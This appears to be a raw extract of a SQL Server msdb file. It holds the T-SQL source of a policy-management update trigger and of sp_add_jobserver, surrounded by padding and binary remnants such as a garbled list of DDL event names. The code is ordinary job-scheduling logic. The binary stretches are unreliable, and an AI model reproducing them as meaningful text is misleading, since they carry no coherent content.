!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`/}<?~C+"l0. _8
CREATE TRIGGER [dbo].[syspolicy_update_job_update_trigger] on [dbo].[syspolicy_policies_internal]
FOR UPDATE
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN;
	END

	-- This is to prevent indirect entrance of the trigger
	IF (TRIGGER_NESTLEVEL() > 1) RETURN

	-- verify that values in inserted.schedule_uid are valid
	IF EXISTS (
		SELECT * FROM inserted i 
		WHERE i.schedule_uid NOT IN 
				(SELECT schedule_uid FROM msdb.dbo.sysschedules ) AND 
		((i.execution_mode & 4) = 4))
	BEGIN
		ROLLBACK -- Failure
		RAISERROR (14365, -1, -1)
		RETURN
	END

	-- update eventing infrastructure
	IF(UPDATE(execution_mode) OR UPDATE(is_enabled))
	BEGIN
		IF  EXISTS (SELECT * 
					FROM inserted i
					INNER JOIN deleted d ON i.policy_id = d.policy_id
					WHERE 
						(((i.execution_mode & 1) = 1) OR ((d.execution_mode & 1) = 1)) AND 
						(i.is_enabled != d.is_enabled OR i.execution_mode != d.execution_mode))
		BEGIN
			EXEC sys.sp_syspolicy_update_ddl_trigger 
		END

		IF  EXISTS (SELECT * 
					FROM inserted i
					INNER JOIN deleted d ON i.policy_id = d.policy_id
					WHERE 
						(((i.execution_mode & 2) = 2) OR ((d.execution_mode & 2) = 2)) AND 
						(i.is_enabled != d.is_enabled OR i.execution_mode != d.execution_mode))
		BEGIN
			EXEC sys.sp_syspolicy_update_event_notification 
		END
	END

	DECLARE @jobID uniqueidentifier
	DECLARE @is_enabled bit
	DECLARE @schedule_uid uniqueidentifier

    -- set the job_id to NULL for all policies whose schedule_uid has changed
    -- so that we can create a job if needed
    UPDATE p
        SET p.job_id = NULL
        FROM msdb.dbo.syspolicy_policies p
        INNER JOIN inserted i ON p.policy_id = i.policy_id
        INNER JOIN deleted d ON d.policy_id = p.policy_id
        WHERE i.schedule_uid != d.schedule_uid

	-- find all schedules referenced by the inserted policies for which 
	-- there is no agent job that executes the policies
	DECLARE schedule_cursor CURSOR LOCAL FOR
	    SELECT DISTINCT i.schedule_uid
	    FROM inserted i
	    WHERE 
		    ((i.execution_mode & 4) = 4) AND
	        NOT EXISTS (SELECT * 
	                        FROM msdb.dbo.syspolicy_policies p 
	                        WHERE 
	                            p.schedule_uid = i.schedule_uid AND 
	                            ((p.execution_mode & 4) = 4) AND
	                            p.job_id IS NOT NULL)
	                    
	-- iterate through the cursor and create a job for every schedule		
	OPEN schedule_cursor
	FETCH schedule_cursor INTO @schedule_uid
	WHILE @@FETCH_STATUS = 0
	BEGIN
		-- figure out if the job is enabled or not
		SELECT @is_enabled = COUNT(*) 
		FROM inserted i 
		WHERE i.schedule_uid = @schedule_uid AND i.is_enabled = 1
		
		-- create the job that is going to execute the schedule
		EXEC [msdb].[dbo].[sp_syspolicy_create_job] @schedule_uid, @is_enabled, @jobID OUTPUT

		-- update the job_id back into the policies table
		UPDATE p SET p.job_id = @jobID 
			FROM msdb.dbo.syspolicy_policies_internal p
			INNER JOIN inserted i ON p.policy_id = i.policy_id
		WHERE 
			i.schedule_uid = @schedule_uid AND
			(i.execution_mode & 4) = 4
	
		FETCH schedule_cursor INTO @schedule_uid
	END
	
	CLOSE schedule_cursor
	DEALLOCATE schedule_cursor
	
	-- in case we haven't created the job we still need to update 
	-- the policies with their jobID
	UPDATE p 
		SET p.job_id = ( SELECT TOP 1 p2.job_id 
						FROM msdb.dbo.syspolicy_policies p2 
						WHERE 
							p2.schedule_uid = p.schedule_uid AND
							p2.job_id IS NOT NULL)
		FROM msdb.dbo.syspolicy_policies p
		INNER JOIN inserted i ON p.policy_id = i.policy_id
		WHERE 
			((p.execution_mode & 4) = 4) AND
			p.job_id IS NULL
	
	-- if the execution_mode has changed then we need to clear the job references
	UPDATE p
		SET p.job_id = NULL
		FROM msdb.dbo.syspolicy_policies_internal p
		INNER JOIN inserted i ON p.policy_id = i.policy_id 
		INNER JOIN deleted d ON p.policy_id = d.policy_id
		WHERE 
			((i.execution_mode & 4) != 4) AND
			((d.execution_mode & 4) = 4) AND
			p.job_id IS NOT NULL
	
	-- See what jobs we need to enable.
	-- This can happen because we might create a new policy that 
	-- is enabled and there is already a job for it, but the existing
	-- job is disabled
	DECLARE jobs_to_enable CURSOR LOCAL FOR
		SELECT DISTINCT j.job_id
		FROM dbo.sysjobs_view j 
		JOIN msdb.dbo.syspolicy_policies p ON p.job_id = j.job_id
		JOIN inserted i ON p.policy_id = i.policy_id
		WHERE 
			((i.execution_mode & 4) = 4) AND
			j.enabled = 0 AND
			EXISTS ( SELECT * from msdb.dbo.syspolicy_policies p2 
						WHERE p2.job_id = j.job_id AND p2.is_enabled = 1)
	
	OPEN jobs_to_enable
	FETCH jobs_to_enable INTO @jobID
	WHILE @@FETCH_STATUS = 0
	BEGIN
		EXEC msdb.dbo.sp_update_job @job_id = @jobID, @enabled = 1
		
		FETCH jobs_to_enable INTO @jobID
	END
	CLOSE jobs_to_enable
	DEALLOCATE jobs_to_enable

	-- Find out what jobs have to be deleted because the policy's schedule 
	-- has changed
	IF (UPDATE(schedule_uid))
	BEGIN
		DECLARE deleted_cursor CURSOR LOCAL FOR 
			SELECT DISTINCT d.job_id
			FROM deleted d
			WHERE 
				((d.execution_mode & 4) = 4) AND
				d.job_id NOT IN (SELECT job_id FROM msdb.dbo.syspolicy_policies p 
								WHERE 
								((p.execution_mode & 4) = 4))

		OPEN deleted_cursor
		FETCH deleted_cursor INTO @jobID
		
		WHILE (@@FETCH_STATUS=0)
		BEGIN
			-- delete the job(s), but do not delete the shared schedule
			IF (@jobID IS NOT NULL)
				EXEC msdb.dbo.sp_delete_job @job_id = @jobID, @delete_unused_schedule = 0

			FETCH deleted_cursor INTO @jobID
		END -- while (@@FETCH_STATUS=0)

		CLOSE deleted_cursor
		DEALLOCATE deleted_cursor
	END	-- UPDATE(schedule_uid)


	-- See what jobs we need to disable.
	-- This can happen because we do not need to delete the job, but
	-- all policies that reference it are disabled.
	DECLARE jobs_to_disable CURSOR LOCAL FOR
		SELECT DISTINCT j.job_id
		FROM dbo.sysjobs_view j 
		JOIN msdb.dbo.syspolicy_policies p ON p.job_id = j.job_id
		WHERE 
			j.enabled = 1 AND
			NOT EXISTS ( SELECT * from msdb.dbo.syspolicy_policies p2 
						WHERE p2.job_id = j.job_id AND p2.is_enabled = 1 AND ((p2.execution_mode & 4) = 4))
	
	OPEN jobs_to_disable
	FETCH jobs_to_disable INTO @jobID
	WHILE @@FETCH_STATUS = 0
	BEGIN
		EXEC msdb.dbo.sp_update_job @job_id = @jobID, @enabled = 0
		
		FETCH jobs_to_disable INTO @jobID
	END
	CLOSE jobs_to_disable
	DEALLOCATE jobs_to_disable

    UPDATE msdb.dbo.syspolicy_policies_internal
    SET modified_by = original_login(),
        date_modified = GETDATE()
    FROM inserted i,
       msdb.dbo.syspolicy_policies_internal policies
    WHERE i.policy_id = policies.policy_id
END -- update trigger
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`B<OC?,m0>0 O8
CREATE PROCEDURE sp_add_jobserver
  @job_id         UNIQUEIDENTIFIER = NULL, -- Must provide either this or job_name
  @job_name       sysname          = NULL, -- Must provide either this or job_id
  @server_name    sysname         = NULL, -- if NULL will default to serverproperty('ServerName')
  @automatic_post BIT = 1                  -- Flag for SEM use only
AS
BEGIN
  DECLARE @retval                    INT
  DECLARE @server_id                 INT
  DECLARE @job_type                  VARCHAR(12)
  DECLARE @current_job_category_type VARCHAR(12)
  DECLARE @msx_operator_id           INT
  DECLARE @local_server_name         sysname
  DECLARE @is_sysadmin               INT
  DECLARE @job_owner                 sysname
  DECLARE @owner_sid                 VARBINARY(85)
  DECLARE @owner_name                sysname

  SET NOCOUNT ON

  IF (@server_name IS NULL) OR (UPPER(@server_name collate SQL_Latin1_General_CP1_CS_AS) = N'(LOCAL)')
    SELECT @server_name = CONVERT(sysname, SERVERPROPERTY('ServerName'))

  -- Remove any leading/trailing spaces from parameters
  SELECT @server_name = UPPER(LTRIM(RTRIM(@server_name)))

  EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                              '@job_id',
                                               @job_name OUTPUT,
                                               @job_id   OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- First, check if the server is the local server
  SELECT @local_server_name = CONVERT(NVARCHAR,SERVERPROPERTY ('SERVERNAME'))

  IF (@server_name = UPPER(@local_server_name))
    SELECT @server_name = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))

  -- For a multi-server job...
  IF (@server_name <> UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName'))))
  BEGIN
    -- 1) Only sysadmin can add a multi-server job
    IF (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 0) 
    BEGIN
       RAISERROR(14398, -1, -1);
       RETURN(1) -- Failure
    END

    -- 2) Job must be owned by sysadmin
    SELECT @owner_sid = owner_sid, @owner_name = dbo.SQLAGENT_SUSER_SNAME(owner_sid)
    FROM msdb.dbo.sysjobs
    WHERE (job_id = @job_id)

    IF @owner_sid = 0xFFFFFFFF
    BEGIN
      SELECT @is_sysadmin = 1
    END
    ELSE
    BEGIN
      SELECT @is_sysadmin = 0
      EXECUTE msdb.dbo.sp_sqlagent_has_server_access @login_name = @owner_name, @is_sysadmin_member = @is_sysadmin OUTPUT
    END
    
    IF (@is_sysadmin = 0)
    BEGIN
      RAISERROR(14544, -1, -1, @owner_name, N'sysadmin')
      RETURN(1) -- Failure
    END

    -- 3) Check if any of the TSQL steps have a non-null database_user_name
    IF (EXISTS (SELECT *
                FROM msdb.dbo.sysjobsteps
                WHERE (job_id = @job_id)
                  AND (subsystem = N'TSQL')
                  AND (database_user_name IS NOT NULL)))
    BEGIN
      RAISERROR(14542, -1, -1, N'database_user_name')
      RETURN(1) -- Failure
    END

    SELECT @server_id = server_id
    FROM msdb.dbo.systargetservers
    WHERE (UPPER(server_name) = @server_name)
    IF (@server_id IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, '@server_name', @server_name)
      RETURN(1) -- Failure
    END
  END
  ELSE
    SELECT @server_id = 0

  -- Check that this job has not already been targeted at this server
  IF (EXISTS (SELECT *
               FROM msdb.dbo.sysjobservers
               WHERE (job_id = @job_id)
                 AND (server_id = @server_id)))
  BEGIN
    RAISERROR(14269, -1, -1, @job_name, @server_name)
    RETURN(1) -- Failure
  END

  -- Prevent the job from being targeted at both the local AND remote servers
  SELECT @job_type = 'UNKNOWN'
  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysjobservers
              WHERE (job_id = @job_id)
                AND (server_id = 0)))
    SELECT @job_type = 'LOCAL'
  ELSE
  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysjobservers
              WHERE (job_id = @job_id)
                AND (server_id <> 0)))
    SELECT @job_type = 'MULTI-SERVER'

  IF ((@server_id = 0) AND (@job_type = 'MULTI-SERVER'))
  BEGIN
    RAISERROR(14290, -1, -1)
    RETURN(1) -- Failure
  END
  IF ((@server_id <> 0) AND (@job_type = 'LOCAL'))
  BEGIN
    RAISERROR(14291, -1, -1)
    RETURN(1) -- Failure
  END

  -- For a multi-server job, check that any notifications are to the MSXOperator
  IF (@job_type = 'MULTI-SERVER')
  BEGIN
    SELECT @msx_operator_id = id
    FROM msdb.dbo.sysoperators
    WHERE (name = N'MSXOperator')

    IF (EXISTS (SELECT *
                FROM msdb.dbo.sysjobs
                WHERE (job_id = @job_id)
                  AND (((notify_email_operator_id <> 0)   AND (notify_email_operator_id <> @msx_operator_id)) OR
                       ((notify_page_operator_id <> 0)    AND (notify_page_operator_id <> @msx_operator_id))  OR
                       ((notify_netsend_operator_id <> 0) AND (notify_netsend_operator_id <> @msx_operator_id)))))
    BEGIN
      RAISERROR(14221, -1, -1, 'MSXOperator')
      RETURN(1) -- Failure
    END
  END

  -- Insert the sysjobservers row
  INSERT INTO msdb.dbo.sysjobservers
         (job_id,
          server_id,
          last_run_outcome,
          last_outcome_message,
          last_run_date,
          last_run_time,
          last_run_duration)
  VALUES (@job_id,
          @server_id,
          5,  -- ie. SQLAGENT_EXEC_UNKNOWN (can't use 0 since this is SQLAGENT_EXEC_FAIL)
          NULL,
          0,
          0,
          0)

  -- Re-categorize the job (if necessary)
  SELECT @current_job_category_type = CASE category_type
                                        WHEN 1 THEN 'LOCAL'
                                        WHEN 2 THEN 'MULTI-SERVER'
                                      END
  FROM msdb.dbo.sysjobs_view  sjv,
       msdb.dbo.syscategories sc
  WHERE (sjv.category_id = sc.category_id)
    AND (sjv.job_id = @job_id)

  IF (@server_id = 0) AND (@current_job_category_type = 'MULTI-SERVER')
  BEGIN
    UPDATE msdb.dbo.sysjobs
    SET category_id = 0 -- [Uncategorized (Local)]
    WHERE (job_id = @job_id)
  END
  IF (@server_id <> 0) AND (@current_job_category_type = 'LOCAL')
  BEGIN
    UPDATE msdb.dbo.sysjobs
    SET category_id = 2 -- [Uncategorized (Multi-Server)]
    WHERE (job_id = @job_id)
  END

  -- Instruct the new server to pick up the job
  IF (@automatic_post = 1)
    EXECUTE @retval = sp_post_msx_operation 'INSERT', 'JOB', @job_id, @server_name

  -- If the job is local, make sure that SQLServerAgent caches it
  IF (@server_id = 0)
  BEGIN
    EXECUTE msdb.dbo.sp_sqlagent_notify @op_type     = N'J',
                                        @job_id      = @job_id,
                                        @action_type = N'I'
  END

  RETURN(@retval) -- 0 means success
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`")
2B*cv36BNSAC_ENDPOINT_CHANGESERVERSERVER
v<\|ALTER_APPLICATION_ROLEAPPLICATION ROLEAPPLICATION ROLE
v@`CREATE_APPLICATION_ROLEAPPLICATION ROLEAPPLICATION ROLE
v8RnALTER_ASYMMETRIC_KEYASYMMETRICKEYASYMMETRIC KEY
v<VrvCREATE_ASYMMETRIC_KEYASYMMETRICKEYASYMMETRIC KEY
vJdALTER_AUTHORIZATION_DATABASEASYMMETRICKEYASYMMETRIC KEY
v$,4ALTER_ROLEROLEROLE
v(08<CREATE_ROLEROLEROLE
vJRZ^ALTER_AUTHORIZATION_DATABASEROLEROLE
v,<LALTER_ENDPOINTENDPOINTENDPOINT
v0@PTCREATE_ENDPOINTENDPOINTENDPOINT
vFVfjALTER_AUTHORIZATION_SERVERENDPOINTENDPOINT
v,<LALTER_DATABASEDATABASEDATABASE
v0@PTCREATE_DATABASEDATABASEDATABASE
vJZjnALTER_AUTHORIZATION_DATABASEDATABASEDATABASE
v",<LALTER_FUNCTIONFUNCTIONFUNCTION
v"0@PTCREATE_FUNCTIONFUNCTIONFUNCTION
v".>BRENAMEFUNCTIONFUNCTION
v".@RALTER_PROCEDUREPROCEDUREPROCEDURE
v"2DVZCREATE_PROCEDUREPROCEDUREPROCEDURE
v"0BFRENAMEPROCEDUREPROCEDURE
v",:HCREATE_SYNONYMSYNONYMSYNONYM
v"&0:ALTER_TABLETABLETABLE
v"*4>BCREATE_TABLETABLETABLE
v"(26RENAMETABLETABLE
v"&.6CREATE_TYPETYPETYPE
v"&.2RENAMETYPETYPE
v"$,4ALTER_VIEWVIEWVIEW
v"(08<CREATE_VIEWVIEWVIEW
v"&.2RENAMEVIEWVIEW
v"FlALTER_XML_SCHEMA_COLLECTIONXMLSCHEMACOLLECTIONXMLSCHEMACOLLECTION
v"JpCREATE_XML_SCHEMA_COLLECTIONXMLSCHEMACOLLECTIONXMLSCHEMACOLLECTION
v"DjnRENAMEXMLSCHEMACOLLECTIONXMLSCHEMACOLLECTION
v"*4>BALTER_SCHEMATABLETABLE
v"*2:>ALTER_SCHEMAVIEWVIEW
v"*:JNALTER_SCHEMAFUNCTIONFUNCTION
v"*<NRALTER_SCHEMAPROCEDUREPROCEDURE
v"*8FJALTER_SCHEMASYNONYMSYNONYM
v"*2:>ALTER_SCHEMATYPETYPE
v"*PvzALTER_SCHEMAXMLSCHEMACOLLECTIONXMLSCHEMACOLLECTION
v)JVbfAUDIT_SERVER_OPERATION_EVENTSERVERSERVER
v3JVbfAUDIT_SERVER_OPERATION_EVENTSERVERSERVER
v30<HLCREATE_ENDPOINTSERVERSERVER
v3.:FJALTER_ENDPOINTSERVERSERVER
v3,8DHDROP_ENDPOINTSERVERSERVER
v!&0:ALTER_LOGINLOGINLOGIN
v!*4>BCREATE_LOGINLOGINLOGIN
v>8PjCREATE_RESOURCE_POOLRESOURCEPOOLRESOURCE POOL
v>8PjnALTER_RESOURCE_POOLRESOURCEPOOLRESOURCE POOL
v@(4@ALTER_SCHEMASCHEMASCHEMA
v@,8DHCREATE_SCHEMASCHEMASCHEMA
v@JVbfALTER_AUTHORIZATION_DATABASESCHEMASCHEMA
vE2H^ALTER_SERVER_ROLESERVER ROLESERVER ROLE
vE6LbfCREATE_SERVER_ROLESERVER ROLESERVER ROLE
vEF\rvALTER_AUTHORIZATION_SERVERSERVER ROLESERVER ROLE
vM,<LALTER_SEQUENCESEQUENCESEQUENCE
vM0@PTCREATE_SEQUENCESEQUENCESEQUENCE
vMJZjnALTER_AUTHORIZATION_DATABASESEQUENCESEQUENCE
vM*:JNALTER_SCHEMASEQUENCESEQUENCE
vJ0BTXALTER_PROCEDUREPROCEDUREPROCEDURE
vJ2DVZCREATE_PROCEDUREPROCEDUREPROCEDURE
vJ0BFRENAMEPROCEDUREPROCEDURE
vJJ\nrALTER_AUTHORIZATION_DATABASEPROCEDUREPROCEDURE
vJ*<NRALTER_SCHEMAPROCEDUREPROCEDURE
v$(2<@ALTER_TABLETABLETABLE
v$*4>BCREATE_TABLETABLETABLEv$(26RENAMETABLETABLEv$JT^bALTER_AUTHORIZATION_DATABASETABLETABLEv$*4>BALTER_SCHEMATABLETABLEv%$,RALTER_USERUSERASYMMETRIC KEY USERv%$,LALTER_USERUSERCERTIFICATE USERv%$,@ALTER_USERUSERGROUP USERv%$,<ALTER_USERUSERSQL USERv%$,DALTER_USERUSERWINDOWS USERv%(0VZCREATE_USERUSERASYMMETRIC KEY USER	v%(0PTCREATE_USERUSERCERTIFICATE USER
v%(0DHCREATE_USERUSERGROUP USERv%(0@DCREATE_USERUSERSQL USERv%(0HLCREATE_USERUSERWINDOWS USERv&&.6:ALTER_VIEWVIEWVIEWv&(08<CREATE_VIEWVIEWVIEWv&&.2RENAMEVIEWVIEWWVIEWVIEW!!tLnT4<H`Z4`^BPN08l
	
(
	:(x
L	8
<
4
RbjTF
Z
By^8!!!!`	xBf"Uv&SCHEMA!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!